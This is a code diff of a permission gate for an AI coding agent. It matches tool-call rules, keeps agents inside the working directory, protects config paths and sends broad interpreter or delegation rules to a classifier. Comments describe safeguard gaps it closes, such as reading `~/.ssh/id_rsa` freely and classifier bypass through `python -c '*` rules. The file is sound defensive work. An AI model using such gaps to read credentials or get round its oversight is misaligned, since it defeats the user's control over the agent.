* Path pattern match against the RESOLVED forms of the subject — absolute
|
|
329
|
+
* (with `.`/`..` normalised), cwd-relative, and `~/`-relative — never the raw
|
|
330
|
+
* spelling: `Edit(docs/**)` must not match `docs/../src/main.ts`, and a
|
|
331
|
+
* `~/.ssh/id_rsa` subject must hit `Read(~/.ssh/**)` (review P6).
|
|
332
|
+
*/
|
|
136
333
|
export function matchesPathPattern(pattern: string, subject: string, cwd: string): boolean {
|
|
137
334
|
const home = homedir();
|
|
138
|
-
|
|
139
|
-
|
|
140
|
-
|
|
141
|
-
const
|
|
335
|
+
// Claude Code's rule syntax: `//path` is an absolute filesystem path (the
|
|
336
|
+
// doubled slash distinguishes it from `/path`, which CC reads relative to
|
|
337
|
+
// the project root). `Read(//etc/**)` is the form CC's own suggestions write.
|
|
338
|
+
const expandedPattern = pattern.startsWith("//") ? expandTilde(pattern.slice(1), home) : expandTilde(pattern, home);
|
|
339
|
+
const expandedSubject = expandTilde(subject, home);
|
|
340
|
+
|
|
341
|
+
const candidates = new Set<string>();
|
|
342
|
+
const absolute = isAbsolute(expandedSubject) ? resolve(expandedSubject) : resolve(cwd, expandedSubject);
|
|
142
343
|
candidates.add(absolute);
|
|
143
344
|
const rel = relative(cwd, absolute);
|
|
144
345
|
if (rel && !rel.startsWith("..")) candidates.add(rel);
|
|
@@ -151,11 +352,82 @@ export function matchesPathPattern(pattern: string, subject: string, cwd: string
|
|
|
151
352
|
return false;
|
|
152
353
|
}
|
|
153
354
|
|
|
154
|
-
/**
|
|
355
|
+
/**
|
|
356
|
+
* What kind of thing a tool's subject is, which decides how a rule pattern is
|
|
357
|
+
* matched against it and how a session grant is scoped: a shell command line
|
|
358
|
+
* (bash-pattern semantics), a filesystem path (path globs against the resolved
|
|
359
|
+
* forms), a URL (Claude Code's `domain:` form), or plain text (a glob).
|
|
360
|
+
*/
|
|
361
|
+
export type SubjectKind = "command" | "path" | "url" | "text";
|
|
362
|
+
|
|
363
|
+
export function subjectKind(toolName: string): SubjectKind {
|
|
364
|
+
const name = normalizeToolName(toolName);
|
|
365
|
+
if (name === "bash" || name === "monitor") return "command";
|
|
366
|
+
if (name === "web_fetch") return "url";
|
|
367
|
+
if (isPathSubjectTool(name)) return "path";
|
|
368
|
+
return "text";
|
|
369
|
+
}
|
|
370
|
+
|
|
371
|
+
/** A tool call's arguments as one line, for a prompt that would otherwise read "(no arguments)". */
|
|
372
|
+
function compactArguments(input: Record<string, unknown>): string {
|
|
373
|
+
if (Object.keys(input).length === 0) return "";
|
|
374
|
+
try {
|
|
375
|
+
return JSON.stringify(input);
|
|
376
|
+
} catch {
|
|
377
|
+
return "";
|
|
378
|
+
}
|
|
379
|
+
}
|
|
380
|
+
|
|
381
|
+
/**
|
|
382
|
+
* The argument a rule pattern applies to — and the thing the user is shown in
|
|
383
|
+
* an approval prompt — per tool. Until 2026-09-05 everything but bash fell
|
|
384
|
+
* back to a `path` argument, so a `web_fetch`, `monitor` or `enter_worktree`
|
|
385
|
+
* prompt read "(no arguments)" and the user approved blind
|
|
386
|
+
* (PERMISSIONS-REVIEW-2026-09-05 M5). A tool with none of the named fields
|
|
387
|
+
* shows its arguments compactly (MCP tools in particular).
|
|
388
|
+
*/
|
|
155
389
|
export function extractSubject(toolName: string, input: Record<string, unknown>): string {
|
|
156
|
-
|
|
157
|
-
const
|
|
158
|
-
|
|
390
|
+
const name = normalizeToolName(toolName);
|
|
391
|
+
const str = (key: string): string | undefined => (typeof input[key] === "string" ? (input[key] as string) : undefined);
|
|
392
|
+
switch (name) {
|
|
393
|
+
case "bash":
|
|
394
|
+
case "monitor":
|
|
395
|
+
return str("command") ?? "";
|
|
396
|
+
case "web_fetch":
|
|
397
|
+
return str("url") ?? "";
|
|
398
|
+
case "web_search":
|
|
399
|
+
return str("query") ?? "";
|
|
400
|
+
case "enter_worktree":
|
|
401
|
+
return str("name") ?? str("path") ?? "";
|
|
402
|
+
case "read_mcp_resource":
|
|
403
|
+
case "read_mcp_resource_dir":
|
|
404
|
+
return str("uri") ?? "";
|
|
405
|
+
}
|
|
406
|
+
if (isPathSubjectTool(name)) return pathArgument(input) ?? "";
|
|
407
|
+
return pathArgument(input) ?? compactArguments(input);
|
|
408
|
+
}
|
|
409
|
+
|
|
410
|
+
/** The lowercased host of a URL, or undefined when it does not parse (a bare `example.com/x` is tried as https). */
|
|
411
|
+
export function urlHost(url: string): string | undefined {
|
|
412
|
+
for (const candidate of [url, `https://${url}`]) {
|
|
413
|
+
try {
|
|
414
|
+
const host = new URL(candidate).hostname.toLowerCase();
|
|
415
|
+
if (host) return host;
|
|
416
|
+
} catch {
|
|
417
|
+
// try the next spelling
|
|
418
|
+
}
|
|
419
|
+
}
|
|
420
|
+
return undefined;
|
|
421
|
+
}
|
|
422
|
+
|
|
423
|
+
/**
|
|
424
|
+
* URL rule match: Claude Code's `WebFetch(domain:example.com)` form compares
|
|
425
|
+
* the URL's host exactly; any other pattern is a glob over the whole URL.
|
|
426
|
+
*/
|
|
427
|
+
function matchesUrlPattern(pattern: string, url: string): boolean {
|
|
428
|
+
const domain = pattern.match(/^domain:(.+)$/)?.[1]?.trim().toLowerCase();
|
|
429
|
+
if (domain) return urlHost(url) === domain;
|
|
430
|
+
return globToRegex(pattern, false).test(url);
|
|
159
431
|
}
|
|
160
432
|
|
|
161
433
|
/**
|
|
@@ -164,14 +436,19 @@ export function extractSubject(toolName: string, input: Record<string, unknown>)
|
|
|
164
436
|
* arrives case-folded from `resolveForContainment`, and without folding that
|
|
165
437
|
* branch of the check could never match on macOS.
|
|
166
438
|
*/
|
|
167
|
-
/**
|
|
168
|
-
*
|
|
439
|
+
/**
|
|
440
|
+
* Expand a leading `~/`, resolve against cwd, and case-fold where the
|
|
441
|
+
* filesystem does (darwin/win32) — the same shape `resolveForContainment`
|
|
442
|
+
* folds its output to, so a subject compared here matches. Linux stays
|
|
443
|
+
* case-sensitive: folding there would make `/home/u/PROJECT` read as inside
|
|
444
|
+
* `/home/u/project`.
|
|
445
|
+
*/
|
|
169
446
|
function toAbsoluteFolded(p: string, cwd: string): string {
|
|
170
|
-
const
|
|
171
|
-
return
|
|
447
|
+
const absolute = resolve(cwd, expandTilde(p, homedir()));
|
|
448
|
+
return process.platform === "linux" ? absolute : absolute.toLowerCase();
|
|
172
449
|
}
|
|
173
450
|
|
|
174
|
-
|
|
451
|
+
function isPlanFilePath(candidate: string, planFilePath: string, cwd: string): boolean {
|
|
175
452
|
return toAbsoluteFolded(candidate, cwd) === toAbsoluteFolded(planFilePath, cwd);
|
|
176
453
|
}
|
|
177
454
|
|
|
@@ -186,12 +463,45 @@ export function isInsideDir(candidate: string, dir: string, cwd: string): boolea
|
|
|
186
463
|
return toAbsoluteFolded(candidate, cwd).startsWith(toAbsoluteFolded(dir, cwd) + sep);
|
|
187
464
|
}
|
|
188
465
|
|
|
466
|
+
/** `isInsideDir`, plus the directory itself (`ls <cwd>` lists the working directory). */
|
|
467
|
+
export function isAtOrInsideDir(candidate: string, dir: string, cwd: string): boolean {
|
|
468
|
+
return toAbsoluteFolded(candidate, cwd) === toAbsoluteFolded(dir, cwd) || isInsideDir(candidate, dir, cwd);
|
|
469
|
+
}
|
|
470
|
+
|
|
471
|
+
/**
|
|
472
|
+
* Whether one rule matches a call. For bash this is the deny/ask ("any
|
|
473
|
+
* subcommand") semantics — allow rules go through {@link findBashAllowRule}.
|
|
474
|
+
*/
|
|
189
475
|
export function ruleMatches(rule: PermissionRule, toolName: string, subject: string, cwd: string): boolean {
|
|
190
|
-
if (rule.tool
|
|
476
|
+
if (!ruleCoversTool(rule.tool, toolName)) return false;
|
|
191
477
|
if (!rule.pattern) return true;
|
|
192
478
|
if (!subject) return false;
|
|
193
|
-
|
|
194
|
-
|
|
479
|
+
switch (subjectKind(toolName)) {
|
|
480
|
+
case "command":
|
|
481
|
+
return bashPatternMatchesAny(rule.pattern, subject);
|
|
482
|
+
case "path":
|
|
483
|
+
return matchesPathPattern(rule.pattern, subject, cwd);
|
|
484
|
+
case "url":
|
|
485
|
+
return matchesUrlPattern(rule.pattern, subject);
|
|
486
|
+
case "text":
|
|
487
|
+
return globToRegex(rule.pattern, false).test(subject);
|
|
488
|
+
}
|
|
489
|
+
}
|
|
490
|
+
|
|
491
|
+
/**
|
|
492
|
+
* Whether a rule's tool covers a call's tool: the same name, or Claude Code's
|
|
493
|
+
* server-wide MCP form — `mcp__github` covers every `mcp__github__*` tool, and
|
|
494
|
+
* `mcp__plugin:x:server` the plugin-namespaced form. A rule naming a specific
|
|
495
|
+
* tool (`mcp__github__delete_repo`, two `__` groups) stays exact. Until
|
|
496
|
+
* 2026-09-05 the server-wide spelling, the natural way to keep an agent off a
|
|
497
|
+
* server, matched nothing (PERMISSIONS-REVIEW-2026-09-05 M3).
|
|
498
|
+
*/
|
|
499
|
+
export function ruleCoversTool(ruleTool: string, toolName: string): boolean {
|
|
500
|
+
const tool = normalizeToolName(toolName);
|
|
501
|
+
if (ruleTool === tool) return true;
|
|
502
|
+
if (!ruleTool.startsWith("mcp__")) return false;
|
|
503
|
+
const server = ruleTool.slice("mcp__".length);
|
|
504
|
+
return server.length > 0 && !server.includes("__") && tool.startsWith(`${ruleTool}__`);
|
|
195
505
|
}
|
|
196
506
|
|
|
197
507
|
/** Risk tier drives the unmatched-rule default. */
|
|
@@ -208,6 +518,18 @@ export function toolTier(toolName: string): ToolTier {
|
|
|
208
518
|
return "custom";
|
|
209
519
|
}
|
|
210
520
|
|
|
521
|
+
/**
|
|
522
|
+
* Whether a tool's subject is a filesystem path whose RESOLVED form the gate
|
|
523
|
+
* judges (protected paths, working-directory containment): the writing tools
|
|
524
|
+
* and the read tier. A bash subject is a command line; a custom tool's is
|
|
525
|
+
* whatever pathArgument found, not necessarily a path. Callers pass
|
|
526
|
+
* `resolveForContainment(toAbsolute(...))` as `resolvedSubject` for these only.
|
|
527
|
+
*/
|
|
528
|
+
export function isPathSubjectTool(toolName: string): boolean {
|
|
529
|
+
const name = normalizeToolName(toolName);
|
|
530
|
+
return isWritingTool(name) || toolTier(name) === "safe";
|
|
531
|
+
}
|
|
532
|
+
|
|
211
533
|
/**
|
|
212
534
|
* Tools that never need approval: they change no state outside the session and
|
|
213
535
|
* touch no network or filesystem the user hasn't already opted into.
|
|
@@ -217,7 +539,6 @@ export function toolTier(toolName: string): ToolTier {
|
|
|
217
539
|
* since a blocked loader means the model can never reach the tools behind it.
|
|
218
540
|
*/
|
|
219
541
|
export const AUTO_ALLOWED_TOOLS = new Set<string>([
|
|
220
|
-
"todo_write",
|
|
221
542
|
"ask_user_question",
|
|
222
543
|
"ask_user",
|
|
223
544
|
// Loads tool schemas and packaged instructions; no side effects.
|
|
@@ -226,10 +547,10 @@ export const AUTO_ALLOWED_TOOLS = new Set<string>([
|
|
|
226
547
|
// Read-only inspection.
|
|
227
548
|
"lsp_diagnostics",
|
|
228
549
|
"list_mcp_resources",
|
|
550
|
+
"list_agents",
|
|
229
551
|
// Subagent orchestration is safe to launch; each child enforces its own
|
|
230
|
-
// tool permissions
|
|
231
|
-
"
|
|
232
|
-
"subagent_wait",
|
|
552
|
+
// tool permissions via the in-process permission gate.
|
|
553
|
+
"Agent",
|
|
233
554
|
// Same reasoning for workflow: the script itself cannot touch the
|
|
234
555
|
// filesystem, network, or shell — only spawn agents, and every one of those
|
|
235
556
|
// runs behind the workflow permission gate.
|
|
@@ -237,7 +558,7 @@ export const AUTO_ALLOWED_TOOLS = new Set<string>([
|
|
|
237
558
|
// Plan-mode transitions must work inside plan mode itself.
|
|
238
559
|
"enter_plan_mode",
|
|
239
560
|
"exit_plan_mode",
|
|
240
|
-
// Session-state bookkeeping
|
|
561
|
+
// Session-state bookkeeping.
|
|
241
562
|
"task_create",
|
|
242
563
|
"task_get",
|
|
243
564
|
"task_list",
|
|
@@ -247,10 +568,10 @@ export const AUTO_ALLOWED_TOOLS = new Set<string>([
|
|
|
247
568
|
"task_stop",
|
|
248
569
|
// A timer that replays a prompt; no side effects outside the session.
|
|
249
570
|
"schedule_wakeup",
|
|
250
|
-
// Resumes
|
|
571
|
+
// Resumes/messages an agent — same reasoning as Agent: the child enforces its
|
|
251
572
|
// own tool permissions. (monitor and enter/exit_worktree stay gated: they
|
|
252
573
|
// run arbitrary shell commands / mutate the filesystem.)
|
|
253
|
-
"
|
|
574
|
+
"SendMessage",
|
|
254
575
|
]);
|
|
255
576
|
|
|
256
577
|
export interface DecideInput {
|
|
@@ -289,6 +610,33 @@ export interface DecideInput {
|
|
|
289
610
|
* the memory dir.
|
|
290
611
|
*/
|
|
291
612
|
scratchpadDirPath?: string;
|
|
613
|
+
/**
|
|
614
|
+
* The working directory's own resolved form (`resolveForContainment(cwd)`),
|
|
615
|
+
* when the caller could resolve it. A resolved subject is compared against
|
|
616
|
+
* it as well as the literal cwd: on macOS a project under `/var/folders`
|
|
617
|
+
* resolves to `/private/var/folders`, and without this every in-project
|
|
618
|
+
* path read as outside the working directory. Kept an input so this module
|
|
619
|
+
* stays pure.
|
|
620
|
+
*/
|
|
621
|
+
resolvedCwd?: string;
|
|
622
|
+
/**
|
|
623
|
+
* Where the session persists oversized tool outputs (`lib/persisted-output.ts
|
|
624
|
+
* sessionResultsDir`). Readable like the working directory: the model is
|
|
625
|
+
* told to read those files back.
|
|
626
|
+
*/
|
|
627
|
+
resultsDirPath?: string;
|
|
628
|
+
/**
|
|
629
|
+
* Directories protected at runtime, beyond the static list in
|
|
630
|
+
* protected-paths.ts (see `runtimeProtectedDirs()`, the sole producer): pi's
|
|
631
|
+
* own agent directory (`getAgentDir()` — `~/.pi/agent` for stock pi,
|
|
632
|
+
* `~/.onecode/agent` bundled), Claude Code's config dir (`claudeConfigDir()`)
|
|
633
|
+
* and One Code's state dir (`oneCodeStateDir()`). The last two catch a
|
|
634
|
+
* relocated `CLAUDE_CONFIG_DIR` / `ONECODE_STATE_DIR`, which the static
|
|
635
|
+
* segment list cannot (distribution review 2026-09-09, L2). Absolute paths; a
|
|
636
|
+
* write landing inside one is judged like a protected path
|
|
637
|
+
* (PERMISSIONS-REVIEW-2026-09-05 M7).
|
|
638
|
+
*/
|
|
639
|
+
protectedDirs?: string[];
|
|
292
640
|
}
|
|
293
641
|
|
|
294
642
|
export interface Decision {
|
|
@@ -296,18 +644,39 @@ export interface Decision {
|
|
|
296
644
|
/** Rule that determined the outcome, when one did. */
|
|
297
645
|
rule?: PermissionRule;
|
|
298
646
|
/** Why, for deny/ask decisions surfaced to the model or user. */
|
|
299
|
-
cause:
|
|
647
|
+
cause:
|
|
648
|
+
| "rule"
|
|
649
|
+
| "plan-mode"
|
|
650
|
+
| "plan-file"
|
|
651
|
+
| "plan-readonly"
|
|
652
|
+
| "memory-dir"
|
|
653
|
+
| "scratchpad-dir"
|
|
654
|
+
| "mode"
|
|
655
|
+
| "tier"
|
|
656
|
+
| "protected-path"
|
|
657
|
+
/** A read, or an acceptEdits write, whose path is outside the working directory. */
|
|
658
|
+
| "working-dir";
|
|
300
659
|
}
|
|
301
660
|
|
|
661
|
+
/**
|
|
662
|
+
* Custom-tier tools that only read (the network or MCP resources) and so stay
|
|
663
|
+
* available in plan mode, as WebFetch/WebSearch do in Claude Code. Everything
|
|
664
|
+
* else custom is treated as a mutation there.
|
|
665
|
+
*/
|
|
666
|
+
const PLAN_READ_ONLY_TOOLS = new Set(["web_fetch", "web_search", "list_mcp_resources", "read_mcp_resource", "read_mcp_resource_dir"]);
|
|
667
|
+
|
|
302
668
|
/**
|
|
303
669
|
* Tools that launch a fresh agent loop. In auto mode these are classified
|
|
304
670
|
* rather than auto-allowed, so the delegated task is judged before the child
|
|
305
671
|
* starts — a child cannot be trusted to refuse a task its parent should not have
|
|
306
672
|
* handed it, and Claude Code evaluates the task description at spawn time for
|
|
307
673
|
* the same reason. Outside auto mode they stay auto-allowed: each child enforces
|
|
308
|
-
* its own permissions by inheriting the mode.
|
|
674
|
+
* its own permissions by inheriting the mode. `SendMessage` is a delegation
|
|
675
|
+
* too: a new task handed to a resident agent after its spawn was judged is a
|
|
676
|
+
* new delegation, and until 2026-09-05 it was never classified
|
|
677
|
+
* (PERMISSIONS-REVIEW-2026-09-05 L4).
|
|
309
678
|
*/
|
|
310
|
-
const DELEGATION_TOOLS = new Set(["
|
|
679
|
+
const DELEGATION_TOOLS = new Set(["Agent", "workflow", "SendMessage"]);
|
|
311
680
|
|
|
312
681
|
/**
|
|
313
682
|
* Interpreters and runners whose arguments are code, so a wildcarded rule over
|
|
@@ -330,7 +699,7 @@ const INTERPRETERS_AND_RUNNERS =
|
|
|
330
699
|
export function isBroadExecutionRule(rule: PermissionRule): boolean {
|
|
331
700
|
// Delegation rules are dropped outright: a subagent is a fresh agent loop, so
|
|
332
701
|
// pre-approving one pre-approves whatever that loop decides to do.
|
|
333
|
-
if (
|
|
702
|
+
if (DELEGATION_TOOLS.has(rule.tool)) return true;
|
|
334
703
|
if (rule.tool !== "bash") return false;
|
|
335
704
|
|
|
336
705
|
if (!rule.pattern) return true;
|
|
@@ -338,7 +707,7 @@ export function isBroadExecutionRule(rule: PermissionRule): boolean {
|
|
|
338
707
|
// Without a wildcard the rule matches one exact command, which is narrow by
|
|
339
708
|
// construction however powerful that command is — `Bash(python)` only ever
|
|
340
709
|
// starts a bare REPL.
|
|
341
|
-
if (!pattern
|
|
710
|
+
if (!hasUnescapedWildcard(pattern)) return false;
|
|
342
711
|
if (/^(\*|:\*|\*\*)$/.test(pattern)) return true;
|
|
343
712
|
|
|
344
713
|
const head = pattern.split(/[\s*]/)[0] ?? "";
|
|
@@ -350,10 +719,12 @@ export function isBroadExecutionRule(rule: PermissionRule): boolean {
|
|
|
350
719
|
// The runner's own escape hatch takes arbitrary code: `npm run *`, `npx *`.
|
|
351
720
|
if (/^(run|exec|x)[:\s]*\*+$/.test(rest)) return true;
|
|
352
721
|
// Interpreter inline-code flags take arbitrary code: `python -c *`, `node -e *`,
|
|
353
|
-
// `sh -c *`, `bash -c *`, `ruby -e *`.
|
|
354
|
-
//
|
|
355
|
-
//
|
|
356
|
-
|
|
722
|
+
// `sh -c *`, `bash -c *`, `ruby -e *`. Quote-wrapped spellings count too —
|
|
723
|
+
// `python3 -c '*` / `-c ' *` (as real settings write them) hand over exactly
|
|
724
|
+
// the same arbitrary code slot. Without this, such a rule granted a standing
|
|
725
|
+
// bypass of the classifier (over-flagging a runner's `-c` here only costs a
|
|
726
|
+
// classifier call, which is the safe direction).
|
|
727
|
+
if (/^-(c|e)[\s:='"]*\*+['"]*$/.test(rest)) return true;
|
|
357
728
|
// `npm test:*` names the script, so it stays narrow.
|
|
358
729
|
return false;
|
|
359
730
|
}
|
|
@@ -374,8 +745,9 @@ export function decide(params: DecideInput): Decision {
|
|
|
374
745
|
if (mode === "bypassPermissions") return { decision: "allow", cause: "mode" };
|
|
375
746
|
|
|
376
747
|
const tier = toolTier(toolName);
|
|
748
|
+
const tool = normalizeToolName(toolName);
|
|
377
749
|
if (mode === "plan" && tier !== "safe" && !AUTO_ALLOWED_TOOLS.has(normalizeToolName(toolName))) {
|
|
378
|
-
// Plan mode's one writable file (~/.
|
|
750
|
+
// Plan mode's one writable file (~/.onecode/plans/<slug>.md, which
|
|
379
751
|
// protected-paths already excepts as working space).
|
|
380
752
|
const planFile = params.planFilePath;
|
|
381
753
|
if (planFile && isWritingTool(normalizeToolName(toolName)) && subject) {
|
|
@@ -384,6 +756,21 @@ export function decide(params: DecideInput): Decision {
|
|
|
384
756
|
(params.resolvedSubject ? isPlanFilePath(params.resolvedSubject, planFile, cwd) : false);
|
|
385
757
|
if (planTarget) return { decision: "allow", cause: "plan-file" };
|
|
386
758
|
}
|
|
759
|
+
// Read-only bash stays usable while planning (Claude Code permits it). The
|
|
760
|
+
// auto-mode shell pre-gate's "safe" verdict means "every command is on the
|
|
761
|
+
// read-only allowlist, nothing leaves the project" — plus in-project
|
|
762
|
+
// redirect writes, which it records; a safe verdict with no writes is
|
|
763
|
+
// exactly read-only. Anything it cannot vouch for is denied as before.
|
|
764
|
+
// Without this the frontier tier (no grep/find/ls) was left with `read` alone.
|
|
765
|
+
if (tool === "bash" && subject) {
|
|
766
|
+
const evidence = analyzeShellCommand({ command: subject, cwd, home: homedir(), protectedDirs: params.protectedDirs });
|
|
767
|
+
if (evidence.verdict === "safe" && evidence.writes.length === 0) return { decision: "allow", cause: "plan-readonly" };
|
|
768
|
+
// Read-only, but of a path outside the working directory: still a read,
|
|
769
|
+
// so it is put to the user rather than refused as a plan-mode mutation
|
|
770
|
+
// (the read tools ask for the same path below).
|
|
771
|
+
if (evidence.readOnlyOutside && evidence.writes.length === 0) return { decision: "ask", cause: "working-dir" };
|
|
772
|
+
}
|
|
773
|
+
if (PLAN_READ_ONLY_TOOLS.has(tool)) return { decision: "allow", cause: "plan-readonly" };
|
|
387
774
|
return { decision: "deny", cause: "plan-mode" };
|
|
388
775
|
}
|
|
389
776
|
|
|
@@ -413,14 +800,21 @@ export function decide(params: DecideInput): Decision {
|
|
|
413
800
|
]) {
|
|
414
801
|
if (dir && isInsideDir(target, dir, cwd)) return { decision: "allow", cause };
|
|
415
802
|
}
|
|
803
|
+
// The plan file lives under the state dir (`~/.onecode/plans`), which the
|
|
804
|
+
// runtime protects; clear it here, before the protected check, since it is
|
|
805
|
+
// harness working space the model is told to write (review L2).
|
|
806
|
+
if (params.planFilePath && isPlanFilePath(target, params.planFilePath, cwd)) return { decision: "allow", cause: "plan-file" };
|
|
416
807
|
}
|
|
417
808
|
|
|
418
809
|
// Protected-path writes are checked *before* allow rules, so an
|
|
419
810
|
// `Edit(.claude/**)` entry cannot pre-approve reconfiguring the agent's own
|
|
420
811
|
// permissions or planting a git hook. In auto mode they go to the classifier.
|
|
421
|
-
const tool = normalizeToolName(toolName);
|
|
422
812
|
const protectedTarget = () =>
|
|
423
|
-
|
|
813
|
+
[subject, params.resolvedSubject].some(
|
|
814
|
+
(candidate) =>
|
|
815
|
+
candidate &&
|
|
816
|
+
(isProtectedPath(candidate, cwd) || (params.protectedDirs ?? []).some((dir) => isInsideDir(candidate, dir, cwd))),
|
|
817
|
+
);
|
|
424
818
|
if (isWritingTool(tool) && subject && protectedTarget()) {
|
|
425
819
|
if (mode === "dontAsk") return { decision: "deny", cause: "protected-path" };
|
|
426
820
|
if (mode === "auto") return { decision: "classify", cause: "protected-path" };
|
|
@@ -435,17 +829,54 @@ export function decide(params: DecideInput): Decision {
|
|
|
435
829
|
return true;
|
|
436
830
|
})
|
|
437
831
|
: allow;
|
|
438
|
-
|
|
832
|
+
// Command allow rules (bash, monitor) must cover EVERY subcommand of a
|
|
833
|
+
// compound line (CC semantics); a deny/ask rule above fired on ANY subcommand.
|
|
834
|
+
const allowRule =
|
|
835
|
+
subjectKind(tool) === "command"
|
|
836
|
+
? subject
|
|
837
|
+
? findBashAllowRule(usableAllow, subject, tool)
|
|
838
|
+
: undefined
|
|
839
|
+
: usableAllow.find((r) => ruleMatches(r, toolName, subject, cwd));
|
|
439
840
|
if (allowRule) return { decision: "allow", rule: allowRule, cause: "rule" };
|
|
440
841
|
|
|
441
842
|
if (mode === "auto" && DELEGATION_TOOLS.has(tool)) {
|
|
442
843
|
return { decision: "classify", cause: "mode" };
|
|
443
844
|
}
|
|
444
845
|
|
|
445
|
-
|
|
446
|
-
|
|
846
|
+
/**
|
|
847
|
+
* Working-directory containment — Claude Code's `pathInAllowedWorkingPath`
|
|
848
|
+
* (filesystem.ts): the read tier is allowed inside the working directory and
|
|
849
|
+
* asks outside it, and acceptEdits approves edits inside it only. The
|
|
850
|
+
* harness's own session dirs (auto-memory, scratchpad, persisted tool
|
|
851
|
+
* results, the plan file) count as inside — the system prompt tells the
|
|
852
|
+
* model to read and write there. The resolved subject is judged where the
|
|
853
|
+
* caller resolved one, so a symlink inside the project that points out of
|
|
854
|
+
* it is outside. Until 2026-09-05 neither check existed: `read ~/.ssh/id_rsa`
|
|
855
|
+
* was allowed in every mode including auto and plan, and acceptEdits wrote
|
|
856
|
+
* anywhere on disk (PERMISSIONS-REVIEW-2026-09-05 H1, H2).
|
|
857
|
+
*/
|
|
858
|
+
const inWorkingSpace = (): boolean => {
|
|
859
|
+
const target = params.resolvedSubject ?? subject;
|
|
860
|
+
const roots = [cwd, params.resolvedCwd, params.memoryDirPath, params.scratchpadDirPath, params.resultsDirPath];
|
|
861
|
+
if (roots.some((dir) => dir && isAtOrInsideDir(target, dir, cwd))) return true;
|
|
862
|
+
return params.planFilePath ? isPlanFilePath(target, params.planFilePath, cwd) : false;
|
|
863
|
+
};
|
|
864
|
+
const outsideWorkingDir = (): Decision => {
|
|
865
|
+
if (mode === "auto") return { decision: "classify", cause: "working-dir" };
|
|
866
|
+
if (mode === "dontAsk") return { decision: "deny", cause: "working-dir" };
|
|
867
|
+
return { decision: "ask", cause: "working-dir" };
|
|
868
|
+
};
|
|
869
|
+
|
|
870
|
+
if (tier === "safe") {
|
|
871
|
+
// No path argument (grep/find/ls default to the cwd) is an in-project read.
|
|
872
|
+
if (!subject || inWorkingSpace()) return { decision: "allow", cause: "tier" };
|
|
873
|
+
return outsideWorkingDir();
|
|
874
|
+
}
|
|
875
|
+
if (AUTO_ALLOWED_TOOLS.has(tool)) return { decision: "allow", cause: "tier" };
|
|
876
|
+
if (tier === "edit" && mode === "acceptEdits") {
|
|
877
|
+
if (subject && inWorkingSpace()) return { decision: "allow", cause: "mode" };
|
|
878
|
+
return outsideWorkingDir();
|
|
447
879
|
}
|
|
448
|
-
if (tier === "edit" && mode === "acceptEdits") return { decision: "allow", cause: "mode" };
|
|
449
880
|
|
|
450
881
|
// Everything left over goes to the classifier in auto mode, and to the user
|
|
451
882
|
// in every other mode.
|